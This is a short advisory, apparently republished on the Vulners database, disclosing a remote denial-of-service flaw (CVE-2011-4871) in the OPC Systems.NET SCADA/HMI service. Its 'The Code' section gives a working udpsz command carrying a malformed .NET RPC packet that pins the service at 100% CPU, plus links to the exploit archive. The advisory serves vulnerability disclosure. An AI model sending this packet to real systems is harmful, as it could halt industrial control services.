OPC Systems.NET 4.00.0048 - Denial of Service
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-2011-4871 | 10 Oct 201100:00 | – | circl |
 | CVE-2011-4871 | 18 Apr 201210:00 | – | cve |
 | CVE-2011-4871 | 18 Apr 201210:00 | – | cvelist |
 | CVE-2011-4871 | 18 Apr 201210:33 | – | nvd |
 | Open redirect | 18 Apr 201210:33 | – | prion |
 | CVE-2011-4871 | 22 May 202505:08 | – | redhatcve |
#######################################################################
Luigi Auriemma
Application: OPC Systems.NET
http://www.opcsystems.com/opc_systems_net.htm
Versions: <= 4.00.0048
Platforms: Windows
Bug: Denial of Service
Exploitation: remote
Date: 10 Oct 2011
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
From vendor's website:
"As a Service Oriented Architecture the OPC Systems Service can connect
to data from OPC Servers, OPC Clients, Visual Studio Applications,
Microsoft Excel, and databases ... breakthrough .NET products for
SCADA, HMI, and plant floor to business solutions to shorten your
development to deployment time."
#######################################################################
======
2) Bug
======
OPCSystemsService.exe can be freezed with CPU at 100% through a
malformed .NET RPC packet.
No additional research performed.
#######################################################################
===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip
udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC Systems Interface\6\0\1\1" -T SERVER 58723 0x80
#######################################################################
======
4) Fix
======
No fix.
#######################################################################Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Oct 2011 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.03159